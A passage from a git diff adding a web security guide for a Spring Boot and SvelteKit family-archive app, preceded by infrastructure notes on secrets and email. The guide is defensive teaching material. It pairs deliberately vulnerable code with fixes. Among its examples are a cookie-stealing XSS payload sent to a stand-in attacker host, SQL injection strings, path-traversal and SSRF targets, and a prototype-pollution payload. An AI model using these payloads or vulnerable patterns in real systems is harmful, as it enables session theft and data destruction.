"automerge": true
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Secrets Management -- age + git-crypt
|
||||
|
||||
**Replaces**: HashiCorp Vault (overkill), AWS Secrets Manager
|
||||
**Cost**: free
|
||||
**What it gives you**: For a small team, encrypted `.env` files committed to the repo using `age` encryption are sufficient. Each team member has a keypair; the `.env.encrypted` file is decryptable by all authorised keys.
|
||||
|
||||
### Usage
|
||||
|
||||
```bash
|
||||
# Encrypt
|
||||
age -r $(cat ~/.config/age/recipients.txt) -o .env.encrypted .env
|
||||
|
||||
# Decrypt (each team member)
|
||||
age -d -i ~/.config/age/key.txt -o .env .env.encrypted
|
||||
```
|
||||
|
||||
Keep `.env` in `.gitignore`. Commit `.env.encrypted` and `.env.example`.
|
||||
|
||||
---
|
||||
|
||||
## Transactional Email -- Hetzner SMTP Relay
|
||||
|
||||
**Replaces**: SendGrid, Mailgun, AWS SES
|
||||
**Cost**: ~1 EUR/mo (included in Hetzner account, usage-based)
|
||||
**What it gives you**: Authenticated SMTP relay from your Hetzner account. Simple configuration -- no SPF/DKIM setup nightmare. GDPR-compliant, EU-hosted.
|
||||
|
||||
### Configuration
|
||||
|
||||
```bash
|
||||
# Production .env
|
||||
MAIL_HOST=mail.your-server.de
|
||||
MAIL_PORT=587
|
||||
MAIL_USERNAME=your-hetzner-smtp-username
|
||||
MAIL_PASSWORD=your-hetzner-smtp-password
|
||||
MAIL_SMTP_AUTH=true
|
||||
MAIL_STARTTLS_ENABLE=true
|
||||
APP_MAIL_FROM=noreply@familienarchiv.example.com
|
||||
```
|
||||
|
||||
Alternative for more control: **Stalwart Mail** (self-hosted SMTP/IMAP server, Docker-based, handles SPF/DKIM/DMARC automatically). Only worth it if you need a full mail server -- for transactional email only, Hetzner relay is simpler.
|
||||
797
docs/security-guide.md
Normal file
797
docs/security-guide.md
Normal file
@@ -0,0 +1,797 @@
|
||||
# Web Security Guide — Familienarchiv Stack
|
||||
|
||||
> *"Every input is a lie until proven trustworthy. Every endpoint is a vulnerability waiting for the right question."*
|
||||
> — Nora "NullX" Steiner, Application Security Engineer
|
||||
|
||||
**Stack covered:** Spring Boot 4 · Java 21 · SvelteKit 2 / Svelte 5 · TypeScript · PostgreSQL 16 · MinIO · Spring Security · Spring Session JDBC
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [Mass Assignment / Over-Posting (Spring Boot)](#1-mass-assignment--over-posting-spring-boot)
|
||||
2. [Spring Boot Actuator Exposure](#2-spring-boot-actuator-exposure)
|
||||
3. [SQL Injection via JPQL / Native Queries](#3-sql-injection-via-jpql--native-queries)
|
||||
4. [XSS in SvelteKit](#4-xss-in-sveltekit)
|
||||
5. [CORS Misconfiguration](#5-cors-misconfiguration)
|
||||
6. [File Upload Attacks (MinIO / S3)](#6-file-upload-attacks-minio--s3)
|
||||
7. [JWT / Session Attacks](#7-jwt--session-attacks)
|
||||
8. [SSRF via User-Controlled URLs](#8-ssrf-via-user-controlled-urls)
|
||||
9. [Insecure Direct Object Reference in File Downloads](#9-insecure-direct-object-reference-in-file-downloads)
|
||||
10. [Prototype Pollution (TypeScript / Node.js layer)](#10-prototype-pollution-typescript--nodejs-layer)
|
||||
11. [Secrets in Config / Environment](#11-secrets-in-config--environment)
|
||||
|
||||
---
|
||||
|
||||
## 1. Mass Assignment / Over-Posting (Spring Boot)
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
When a controller binds a request body directly to the JPA entity, a client can set **any field** that exists on the model — including ones they should never touch.
|
||||
|
||||
```java
|
||||
// BAD: DocumentController.java
|
||||
@PutMapping("/api/documents/{id}")
|
||||
public Document updateDocument(@PathVariable UUID id, @RequestBody Document document) {
|
||||
document.setId(id);
|
||||
return documentRepository.save(document); // ← saves WHATEVER the client sent
|
||||
}
|
||||
```
|
||||
|
||||
**Attack:** The client sends `{"status":"ARCHIVED","id":"<another-user-doc-uuid>"}` in the body and silently promotes a document or takes over a foreign record.
|
||||
|
||||
### The fix in context
|
||||
|
||||
Use a **DTO** for input and copy only the fields you explicitly allow. Your project already has `DocumentUpdateDTO` — use it everywhere.
|
||||
|
||||
```java
|
||||
// GOOD: DocumentController.java
|
||||
@PutMapping("/api/documents/{id}")
|
||||
@RequirePermission(Permission.WRITE_ALL)
|
||||
public Document updateDocument(@PathVariable UUID id, @RequestBody DocumentUpdateDTO dto) {
|
||||
return documentService.updateDocument(id, dto); // service decides what changes
|
||||
}
|
||||
|
||||
// GOOD: DocumentService.java
|
||||
@Transactional
|
||||
public Document updateDocument(UUID id, DocumentUpdateDTO dto) {
|
||||
Document doc = documentRepository.findById(id)
|
||||
.orElseThrow(() -> DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "Document not found: " + id));
|
||||
|
||||
// Explicitly copy only fields the DTO is allowed to change
|
||||
if (dto.getTitle() != null) doc.setTitle(dto.getTitle());
|
||||
if (dto.getDocumentDate() != null) doc.setDocumentDate(dto.getDocumentDate());
|
||||
if (dto.getStatus() != null) {
|
||||
validateStatusTransition(doc.getStatus(), dto.getStatus()); // guard the lifecycle
|
||||
doc.setStatus(dto.getStatus());
|
||||
}
|
||||
// id, createdAt, owner — never touched
|
||||
return documentRepository.save(doc);
|
||||
}
|
||||
```
|
||||
|
||||
**Why:** JPA entities are your persistence model, not your API contract. Treat them as internal objects. DTOs are the surface you expose.
|
||||
|
||||
**Catch it in CI:**
|
||||
```yaml
|
||||
# Semgrep rule — flag direct @RequestBody Entity in controllers
|
||||
rules:
|
||||
- id: mass-assignment-entity-request-body
|
||||
patterns:
|
||||
- pattern: |
|
||||
@RequestBody $ENTITY $PARAM
|
||||
- pattern-not: |
|
||||
@RequestBody $DTO $PARAM
|
||||
message: "Binding request body directly to JPA entity risks mass assignment. Use a DTO."
|
||||
languages: [java]
|
||||
severity: WARNING
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Spring Boot Actuator Exposure
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
Spring Boot Actuator ships many endpoints (`/actuator/heapdump`, `/actuator/env`, `/actuator/beans`) that expose sensitive runtime data. The default in Boot 4 exposes `health` and `info` — but misconfigured apps expose everything.
|
||||
|
||||
```yaml
|
||||
# BAD: application.yml
|
||||
management:
|
||||
endpoints:
|
||||
web:
|
||||
exposure:
|
||||
include: "*" # ← exposes heapdump, env, beans, loggers, mappings, sessions, ...
|
||||
```
|
||||
|
||||
**Attack:** `GET /actuator/heapdump` returns a full JVM heap dump. Parse it offline with `jhat` or Eclipse MAT to extract:
|
||||
- PostgreSQL passwords from `spring.datasource.password`
|
||||
- MinIO secret keys
|
||||
- Active Spring Session tokens (from JDBC session store)
|
||||
- Full in-memory document objects
|
||||
|
||||
This is not theoretical — it's one of the most common critical findings in Spring Boot apps.
|
||||
|
||||
### The fix in context
|
||||
|
||||
```yaml
|
||||
# GOOD: application.yml (production profile)
|
||||
management:
|
||||
endpoints:
|
||||
web:
|
||||
exposure:
|
||||
include: "health,info" # only what you need for load balancer probes
|
||||
endpoint:
|
||||
health:
|
||||
show-details: never # don't expose DB/MinIO health details publicly
|
||||
```
|
||||
|
||||
```yaml
|
||||
# GOOD: application-dev.yml (dev profile only — used locally and in CI)
|
||||
management:
|
||||
endpoints:
|
||||
web:
|
||||
exposure:
|
||||
include: "*" # full access in dev is fine
|
||||
```
|
||||
|
||||
Also secure the actuator path with Spring Security so even `health` isn't public if you don't need it:
|
||||
|
||||
```java
|
||||
// GOOD: SecurityConfig.java
|
||||
http.authorizeHttpRequests(auth -> auth
|
||||
.requestMatchers("/actuator/health").permitAll()
|
||||
.requestMatchers("/actuator/**").hasAuthority(Permission.ADMIN.name())
|
||||
.requestMatchers("/api/**").authenticated()
|
||||
.anyRequest().denyAll()
|
||||
);
|
||||
```
|
||||
|
||||
**Why:** A heap dump is a complete snapshot of your application's memory at the moment of capture. Every string, every object, every credential your app has ever loaded is potentially in there.
|
||||
|
||||
**Catch it in CI:**
|
||||
```bash
|
||||
# Integration test: assert /actuator/heapdump returns 403/404 when not authenticated
|
||||
curl -o /dev/null -s -w "%{http_code}" http://localhost:8080/actuator/heapdump | grep -qv 200
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. SQL Injection via JPQL / Native Queries
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
Hibernate/JPA protects you when you use `@Query` with named parameters — but not when you concatenate strings.
|
||||
|
||||
```java
|
||||
// BAD: DocumentRepository.java
|
||||
@Query(value = "SELECT * FROM documents WHERE title LIKE '%" + title + "%'", nativeQuery = true)
|
||||
List<Document> searchByTitle(String title);
|
||||
|
||||
// Also BAD: building JPQL dynamically via string concat
|
||||
String jpql = "FROM Document d WHERE d.title LIKE '%" + query + "%'";
|
||||
entityManager.createQuery(jpql).getResultList();
|
||||
```
|
||||
|
||||
**Attack:** Input `%'; DROP TABLE documents; --` or `%' UNION SELECT username, password, null, null FROM app_users--` to read the user table.
|
||||
|
||||
### The fix in context
|
||||
|
||||
```java
|
||||
// GOOD: Use named parameters — Hibernate escapes them correctly
|
||||
@Query("SELECT d FROM Document d WHERE LOWER(d.title) LIKE LOWER(CONCAT('%', :query, '%'))")
|
||||
List<Document> searchByTitle(@Param("query") String query);
|
||||
|
||||
// GOOD: For dynamic filtering, use JPA Criteria API or Specifications
|
||||
public List<Document> searchDocuments(String query, LocalDate from, LocalDate to) {
|
||||
return documentRepository.findAll((root, cq, cb) -> {
|
||||
List<Predicate> predicates = new ArrayList<>();
|
||||
if (query != null) {
|
||||
predicates.add(cb.like(cb.lower(root.get("title")),
|
||||
"%" + query.toLowerCase().replace("%", "\\%") + "%"));
|
||||
}
|
||||
if (from != null) predicates.add(cb.greaterThanOrEqualTo(root.get("documentDate"), from));
|
||||
if (to != null) predicates.add(cb.lessThanOrEqualTo(root.get("documentDate"), to));
|
||||
return cb.and(predicates.toArray(new Predicate[0]));
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
Note the manual `%` escaping in the Criteria API example — the API itself doesn't escape LIKE wildcards.
|
||||
|
||||
**Why:** Named parameters go through JDBC PreparedStatement binding. The driver sends query structure and data separately — the database never interprets user input as SQL.
|
||||
|
||||
**Catch it in CI:**
|
||||
```java
|
||||
// Unit test with injection payload
|
||||
@Test
|
||||
void searchIsSafeAgainstSqlInjection() {
|
||||
String malicious = "'; DROP TABLE documents; --";
|
||||
assertDoesNotThrow(() -> documentService.searchDocuments(malicious, null, null));
|
||||
assertTrue(documentRepository.count() > 0); // table still exists
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. XSS in SvelteKit
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
Svelte auto-escapes `{variable}` expressions — that's your default protection. The vulnerability appears when you bypass it.
|
||||
|
||||
```svelte
|
||||
<!-- BAD: +page.svelte — rendering raw HTML from the database -->
|
||||
<div class="description">
|
||||
{@html document.description}
|
||||
</div>
|
||||
|
||||
<!-- Also BAD: using innerHTML via DOM manipulation -->
|
||||
<script>
|
||||
onMount(() => {
|
||||
container.innerHTML = document.rawContent; // ← bypasses Svelte's escaping
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
**Attack:** A user stores `<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>` in the `description` field. Every user who views the document executes the script — stealing session cookies, CSRF tokens, or performing actions on behalf of the victim (stored XSS).
|
||||
|
||||
### The fix in context
|
||||
|
||||
```svelte
|
||||
<!-- GOOD: default Svelte expression — auto-escaped, always safe -->
|
||||
<div class="description">
|
||||
{document.description}
|
||||
</div>
|
||||
|
||||
<!-- GOOD: if you genuinely need HTML rendering (e.g. rich text from a trusted editor),
|
||||
sanitize server-side before storing, and again before rendering -->
|
||||
<script lang="ts">
|
||||
import DOMPurify from 'dompurify'; // npm install dompurify @types/dompurify
|
||||
|
||||
// Sanitize before rendering — never trust stored HTML directly
|
||||
$: safeHtml = DOMPurify.sanitize(document.richContent ?? '', {
|
||||
ALLOWED_TAGS: ['p', 'b', 'i', 'ul', 'li', 'br'],
|
||||
ALLOWED_ATTR: []
|
||||
});
|
||||
</script>
|
||||
|
||||
<div class="description">
|
||||
{@html safeHtml}
|
||||
</div>
|
||||
```
|
||||
|
||||
**Prefer storing plain text.** Only use `{@html}` when you have a real product requirement for rich formatting — and always with sanitization.
|
||||
|
||||
**Why:** `{@html}` disables Svelte's template-level escaping. It's a deliberate escape hatch, not a normal rendering path. Spring Security's `Content-Security-Policy` header is your second line of defense:
|
||||
|
||||
```java
|
||||
// GOOD: SecurityConfig.java — add CSP header
|
||||
http.headers(headers -> headers
|
||||
.contentSecurityPolicy(csp -> csp
|
||||
.policyDirectives("default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'")
|
||||
)
|
||||
);
|
||||
```
|
||||
|
||||
**Catch it in CI:**
|
||||
```bash
|
||||
# Semgrep: flag all uses of {@html} in .svelte files for manual review
|
||||
grep -r '{@html' frontend/src/ --include="*.svelte"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. CORS Misconfiguration
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
```java
|
||||
// BAD: SecurityConfig.java — wildcard CORS with credentials
|
||||
@Bean
|
||||
public CorsConfigurationSource corsConfigurationSource() {
|
||||
CorsConfiguration config = new CorsConfiguration();
|
||||
config.setAllowedOrigins(List.of("*")); // ← wildcard
|
||||
config.setAllowCredentials(true); // ← with credentials = critical flaw
|
||||
config.setAllowedMethods(List.of("*"));
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Browsers block `credentials: true` with `*` origins — but some frameworks silently reflect the request `Origin` header instead:
|
||||
|
||||
```java
|
||||
// BAD: reflects whatever origin the request sends
|
||||
config.setAllowedOriginPatterns(List.of("*")); // Spring's allowedOriginPatterns("*") does allow credentials
|
||||
```
|
||||
|
||||
**Attack:** Attacker hosts a page at `https://evil.example`. Victim visits it while logged into Familienarchiv. The evil page calls `fetch('https://familienarchiv.example/api/documents', {credentials:'include'})` and reads the family's documents.
|
||||
|
||||
### The fix in context
|
||||
|
||||
```java
|
||||
// GOOD: explicit allowlist of origins
|
||||
@Bean
|
||||
public CorsConfigurationSource corsConfigurationSource() {
|
||||
CorsConfiguration config = new CorsConfiguration();
|
||||
|
||||
// Explicit origins only — no wildcards when credentials are involved
|
||||
List<String> allowedOrigins = List.of(
|
||||
"http://localhost:3000", // dev frontend
|
||||
"https://familienarchiv.example" // prod
|
||||
);
|
||||
config.setAllowedOrigins(allowedOrigins);
|
||||
config.setAllowCredentials(true);
|
||||
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
|
||||
config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
|
||||
config.setMaxAge(3600L);
|
||||
|
||||
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
|
||||
source.registerCorsConfiguration("/api/**", config);
|
||||
return source;
|
||||
}
|
||||
```
|
||||
|
||||
**Why:** `credentials: include` sends the session cookie cross-origin. If CORS allows it from any origin, the attacker's site can perform authenticated API calls in the victim's session. This is essentially CSRF with full response reading.
|
||||
|
||||
**Catch it in CI:**
|
||||
```bash
|
||||
# Assert that a random origin is not reflected back
|
||||
curl -H "Origin: https://evil.example" -v http://localhost:8080/api/documents 2>&1 \
|
||||
| grep "Access-Control-Allow-Origin" | grep -qv "evil.example"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. File Upload Attacks (MinIO / S3)
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
```java
|
||||
// BAD: FileService.java — trusting the client-supplied content type and filename
|
||||
public String uploadFile(MultipartFile file, UUID documentId) {
|
||||
String filename = file.getOriginalFilename(); // ← attacker controls this
|
||||
String contentType = file.getContentType(); // ← attacker controls this (HTTP header)
|
||||
|
||||
minioClient.putObject(PutObjectArgs.builder()
|
||||
.bucket("archive-documents")
|
||||
.object(filename) // path traversal: "../../etc/passwd"
|
||||
.contentType(contentType) // stored XSS via "text/html"
|
||||
.stream(file.getInputStream(), file.getSize(), -1)
|
||||
.build());
|
||||
return filename;
|
||||
}
|
||||
```
|
||||
|
||||
**Attacks:**
|
||||
- **Path traversal:** filename `../../config/application.yml` writes outside the intended directory
|
||||
- **Stored XSS via upload:** upload an HTML file with content type `text/html`, get a link, share it — browser executes the JS
|
||||
- **Large file DoS:** no size limit → 10 GB upload exhausts disk/memory
|
||||
|
||||
### The fix in context
|
||||
|
||||
```java
|
||||
// GOOD: FileService.java
|
||||
private static final Set<String> ALLOWED_CONTENT_TYPES = Set.of(
|
||||
"application/pdf", "image/jpeg", "image/png", "image/tiff",
|
||||
"application/vnd.openxmlformats-officedocument.wordprocessingml.document"
|
||||
);
|
||||
private static final long MAX_FILE_SIZE = 50 * 1024 * 1024; // 50 MB
|
||||
|
||||
public String uploadFile(MultipartFile file, UUID documentId) throws IOException {
|
||||
// 1. Reject disallowed types — detect from magic bytes, not just the header
|
||||
String detectedType = detectMimeType(file.getInputStream()); // use Apache Tika
|
||||
if (!ALLOWED_CONTENT_TYPES.contains(detectedType)) {
|
||||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
|
||||
"File type not allowed: " + detectedType);
|
||||
}
|
||||
|
||||
// 2. Enforce size limit
|
||||
if (file.getSize() > MAX_FILE_SIZE) {
|
||||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "File exceeds 50 MB limit");
|
||||
}
|
||||
|
||||
// 3. Generate a server-controlled object key — never use the original filename
|
||||
String extension = getExtensionForMimeType(detectedType); // ".pdf", ".jpg", etc.
|
||||
String objectKey = documentId.toString() + "/" + UUID.randomUUID() + extension;
|
||||
|
||||
minioClient.putObject(PutObjectArgs.builder()
|
||||
.bucket("archive-documents")
|
||||
.object(objectKey) // server-controlled path
|
||||
.contentType(detectedType) // server-detected, not client-supplied
|
||||
.stream(file.getInputStream(), file.getSize(), -1)
|
||||
.build());
|
||||
|
||||
return objectKey;
|
||||
}
|
||||
|
||||
private String detectMimeType(InputStream stream) throws IOException {
|
||||
Tika tika = new Tika();
|
||||
return tika.detect(stream);
|
||||
}
|
||||
```
|
||||
|
||||
**Also:** Set `Content-Disposition: attachment` on file download responses to prevent inline rendering in the browser:
|
||||
|
||||
```java
|
||||
// GOOD: DocumentController.java — serve files as download, not inline
|
||||
ResponseEntity.ok()
|
||||
.header("Content-Disposition", "attachment; filename=\"document.pdf\"")
|
||||
.header("Content-Type", "application/pdf")
|
||||
.body(fileBytes);
|
||||
```
|
||||
|
||||
**Why:** Browsers will render any response with `Content-Type: text/html` as a page, executing scripts. Serving files with `Content-Disposition: attachment` forces download. Detecting MIME via magic bytes (Apache Tika) catches files that lie about their type.
|
||||
|
||||
**Catch it in CI:**
|
||||
```java
|
||||
@Test
|
||||
void rejectsHtmlFileUpload() throws Exception {
|
||||
MockMultipartFile htmlFile = new MockMultipartFile(
|
||||
"file", "evil.html", "text/html", "<script>alert(1)</script>".getBytes());
|
||||
mockMvc.perform(multipart("/api/documents/{id}/file", docId).file(htmlFile))
|
||||
.andExpect(status().isBadRequest());
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. JWT / Session Attacks
|
||||
|
||||
You use **Spring Session JDBC** — that means sessions are stored in the database, not in JWTs. This is actually the safer default. But there are still pitfalls.
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
```java
|
||||
// BAD: accepting "alg: none" in a JWT — relevant if you add any JWT-based endpoints
|
||||
Jwts.parserBuilder()
|
||||
.build() // ← no signing key configured
|
||||
.parseClaimsJws(token); // accepts unsigned tokens
|
||||
```
|
||||
|
||||
```java
|
||||
// BAD: not invalidating the session on logout
|
||||
@PostMapping("/logout")
|
||||
public void logout(HttpSession session) {
|
||||
// session.invalidate() never called — old session ID still works
|
||||
SecurityContextHolder.clearContext();
|
||||
}
|
||||
```
|
||||
|
||||
### The fix in context
|
||||
|
||||
```java
|
||||
// GOOD: Spring Security logout invalidates the session automatically
|
||||
http.logout(logout -> logout
|
||||
.logoutUrl("/logout")
|
||||
.invalidateHttpSession(true) // deletes from spring_session table
|
||||
.deleteCookies("SESSION") // clears the client cookie
|
||||
.logoutSuccessUrl("/login")
|
||||
);
|
||||
```
|
||||
|
||||
```java
|
||||
// GOOD: if you add JWT later, always specify the algorithm explicitly
|
||||
String secret = environment.getRequiredProperty("app.jwt.secret");
|
||||
SecretKey key = Keys.hmacShaKeyFor(Decoders.BASE64.decode(secret));
|
||||
|
||||
Jwts.parserBuilder()
|
||||
.setSigningKey(key)
|
||||
.requireAudience("familienarchiv-api")
|
||||
.build()
|
||||
.parseClaimsJws(token); // rejects alg:none and wrong-key tokens
|
||||
```
|
||||
|
||||
**Session fixation protection** — Spring Security enables this by default, but verify it's not disabled:
|
||||
|
||||
```java
|
||||
// GOOD: session fixation protection (this is the Spring Security default — don't override it)
|
||||
http.sessionManagement(session -> session
|
||||
.sessionFixation().migrateSession() // new session ID after login
|
||||
.maximumSessions(5) // limit concurrent sessions per user
|
||||
);
|
||||
```
|
||||
|
||||
**Why:** An `alg:none` JWT attack lets an attacker craft tokens with arbitrary claims (e.g., `{"role":"ADMIN"}`) and have the server accept them without a valid signature. Session fixation lets an attacker pre-set a session ID, trick a victim into authenticating with it, then use that known ID to act as the victim.
|
||||
|
||||
**Catch it in CI:**
|
||||
```java
|
||||
@Test
|
||||
void sessionIsInvalidatedOnLogout() throws Exception {
|
||||
// Login, capture session cookie
|
||||
MvcResult login = mockMvc.perform(post("/login").param("username","user").param("password","pass"))
|
||||
.andExpect(status().is3xxRedirection()).andReturn();
|
||||
String sessionCookie = login.getResponse().getHeader("Set-Cookie");
|
||||
|
||||
// Logout
|
||||
mockMvc.perform(post("/logout").header("Cookie", sessionCookie)).andExpect(status().is3xxRedirection());
|
||||
|
||||
// Assert old session is rejected
|
||||
mockMvc.perform(get("/api/documents").header("Cookie", sessionCookie))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. SSRF via User-Controlled URLs
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
If any feature lets a user supply a URL that the server fetches (e.g., importing a document from a URL, fetching a remote avatar, webhook callbacks), you have an SSRF surface.
|
||||
|
||||
```java
|
||||
// BAD: DocumentService.java — fetching user-supplied URL
|
||||
public byte[] fetchDocumentFromUrl(String url) throws IOException {
|
||||
return new URL(url).openStream().readAllBytes(); // ← no validation
|
||||
}
|
||||
```
|
||||
|
||||
**Attack:** Supply `http://169.254.169.254/latest/meta-data/` (AWS metadata), `http://minio:9000/` (internal MinIO admin), or `http://localhost:8080/actuator/env` (your own actuator) to probe or exfiltrate internal services.
|
||||
|
||||
### The fix in context
|
||||
|
||||
```java
|
||||
// GOOD: validate against an allowlist before fetching
|
||||
private static final List<String> ALLOWED_HOSTS = List.of("trusted-source.example.com");
|
||||
|
||||
public byte[] fetchDocumentFromUrl(String rawUrl) throws IOException {
|
||||
URI uri;
|
||||
try {
|
||||
uri = new URI(rawUrl);
|
||||
} catch (URISyntaxException e) {
|
||||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Invalid URL");
|
||||
}
|
||||
|
||||
// Allowlist check
|
||||
if (!ALLOWED_HOSTS.contains(uri.getHost())) {
|
||||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED,
|
||||
"URL host not permitted: " + uri.getHost());
|
||||
}
|
||||
|
||||
// Enforce HTTPS only
|
||||
if (!"https".equalsIgnoreCase(uri.getScheme())) {
|
||||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Only HTTPS URLs are allowed");
|
||||
}
|
||||
|
||||
// Resolve to IP and block private ranges
|
||||
InetAddress addr = InetAddress.getByName(uri.getHost());
|
||||
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
|
||||
throw DomainException.internal(ErrorCode.FILE_UPLOAD_FAILED, "Private IP range not allowed");
|
||||
}
|
||||
|
||||
HttpClient client = HttpClient.newBuilder()
|
||||
.followRedirects(HttpClient.Redirect.NEVER) // prevent redirect-based bypass
|
||||
.connectTimeout(Duration.ofSeconds(5))
|
||||
.build();
|
||||
|
||||
HttpResponse<byte[]> response = client.send(
|
||||
HttpRequest.newBuilder(uri).GET().build(),
|
||||
HttpResponse.BodyHandlers.ofByteArray()
|
||||
);
|
||||
return response.body();
|
||||
}
|
||||
```
|
||||
|
||||
**Why:** Internal cloud metadata endpoints and Docker network services don't require authentication — they're only protected by network topology. SSRF breaks that assumption by making your server the attacker's proxy.
|
||||
|
||||
**Catch it in CI:** Test that `http://127.0.0.1/`, `http://169.254.169.254/`, and `http://minio:9000/` are rejected with an error status.
|
||||
|
||||
---
|
||||
|
||||
## 9. Insecure Direct Object Reference in File Downloads
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
```java
|
||||
// BAD: FileService.java — serving any object key the client requests
|
||||
@GetMapping("/api/files/{objectKey}")
|
||||
public ResponseEntity<byte[]> downloadFile(@PathVariable String objectKey) {
|
||||
byte[] data = fileService.download(objectKey); // ← no ownership check
|
||||
return ResponseEntity.ok(data);
|
||||
}
|
||||
```
|
||||
|
||||
**Attack:** A user who knows (or guesses) another document's `objectKey` can download its file. Object keys in your current pattern are `{documentId}/{uuid}.pdf` — someone with `READ_ALL` can enumerate by trying known document IDs.
|
||||
|
||||
### The fix in context
|
||||
|
||||
```java
|
||||
// GOOD: tie file access to document access — go through the document, not directly to storage
|
||||
@GetMapping("/api/documents/{id}/file")
|
||||
@RequirePermission(Permission.READ_ALL)
|
||||
public ResponseEntity<byte[]> downloadFile(@PathVariable UUID id, Principal principal) {
|
||||
// This call checks ownership — if the user can't see the document, they get 404
|
||||
Document doc = documentService.getDocument(id, userService.getCurrentUser(principal));
|
||||
|
||||
if (doc.getStoragePath() == null) {
|
||||
throw DomainException.notFound(ErrorCode.DOCUMENT_NOT_FOUND, "No file for document " + id);
|
||||
}
|
||||
|
||||
byte[] data = fileService.download(doc.getStoragePath()); // server resolves the path
|
||||
String filename = doc.getTitle().replaceAll("[^a-zA-Z0-9._-]", "_") + ".pdf";
|
||||
|
||||
return ResponseEntity.ok()
|
||||
.header("Content-Disposition", "attachment; filename=\"" + filename + "\"")
|
||||
.header("Content-Type", doc.getMimeType())
|
||||
.body(data);
|
||||
}
|
||||
```
|
||||
|
||||
**Why:** The storage path is an internal detail. Clients should never supply it directly — they supply a document ID, and the server resolves the path. This also means renaming or moving files in storage is transparent to the client.
|
||||
|
||||
---
|
||||
|
||||
## 10. Prototype Pollution (TypeScript / Node.js layer)
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
Prototype pollution affects your SvelteKit server-side rendering layer (Node.js runtime).
|
||||
|
||||
```typescript
|
||||
// BAD: merging user input into an object with a recursive merge utility
|
||||
function mergeDeep(target: any, source: any) {
|
||||
for (const key of Object.keys(source)) {
|
||||
if (source[key] instanceof Object) {
|
||||
mergeDeep(target[key] ??= {}, source[key]);
|
||||
} else {
|
||||
target[key] = source[key]; // ← key could be "__proto__"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Attacker sends: {"__proto__": {"isAdmin": true}}
|
||||
mergeDeep(userSettings, JSON.parse(req.body));
|
||||
// Now: ({}).isAdmin === true — for EVERY object in this process
|
||||
```
|
||||
|
||||
### The fix in context
|
||||
|
||||
```typescript
|
||||
// GOOD: use structuredClone or JSON.parse(JSON.stringify(...)) for safe deep copy
|
||||
// structuredClone is available in Node 17+ and is prototype-safe
|
||||
const safeCopy = structuredClone(userInput);
|
||||
|
||||
// GOOD: if you must merge, use Object.create(null) as base (no prototype)
|
||||
const settings = Object.create(null) as Record<string, unknown>;
|
||||
Object.assign(settings, sanitizedInput);
|
||||
|
||||
// GOOD: validate with Zod — invalid keys are stripped at the schema boundary
|
||||
import { z } from 'zod';
|
||||
const UserSettingsSchema = z.object({
|
||||
theme: z.enum(['light', 'dark']),
|
||||
language: z.enum(['de', 'en', 'es']),
|
||||
});
|
||||
const parsed = UserSettingsSchema.parse(rawInput); // unknown keys dropped
|
||||
```
|
||||
|
||||
**Why:** `__proto__` is a special property on all JavaScript objects. Writing to it affects `Object.prototype` — the root of every plain object in the Node.js process. If your authorization logic does `if (user.isAdmin)` and prototype pollution sets `Object.prototype.isAdmin = true`, every user becomes admin for the lifetime of the process.
|
||||
|
||||
**Catch it in CI:**
|
||||
```bash
|
||||
# npm audit catches known-vulnerable deep-merge libraries (e.g. lodash < 4.17.21)
|
||||
npm audit --audit-level=high
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 11. Secrets in Config / Environment
|
||||
|
||||
### The vulnerable pattern
|
||||
|
||||
```yaml
|
||||
# BAD: application.yml — secrets in version control
|
||||
spring:
|
||||
datasource:
|
||||
url: jdbc:postgresql://localhost:5432/familienarchiv
|
||||
username: app
|
||||
password: SuperSecret123! # ← checked into git
|
||||
|
||||
minio:
|
||||
access-key: minioadmin
|
||||
secret-key: minioadmin123
|
||||
```
|
||||
|
||||
```bash
|
||||
# BAD: .env with real credentials committed
|
||||
MINIO_SECRET_KEY=production-secret-key-here
|
||||
```
|
||||
|
||||
### The fix in context
|
||||
|
||||
```yaml
|
||||
# GOOD: application.yml — reference environment variables, never inline secrets
|
||||
spring:
|
||||
datasource:
|
||||
url: ${DB_URL:jdbc:postgresql://localhost:5432/familienarchiv}
|
||||
username: ${DB_USERNAME:app}
|
||||
password: ${DB_PASSWORD} # no default — fails fast if not set
|
||||
|
||||
minio:
|
||||
access-key: ${MINIO_ACCESS_KEY}
|
||||
secret-key: ${MINIO_SECRET_KEY}
|
||||
```
|
||||
|
||||
```yaml
|
||||
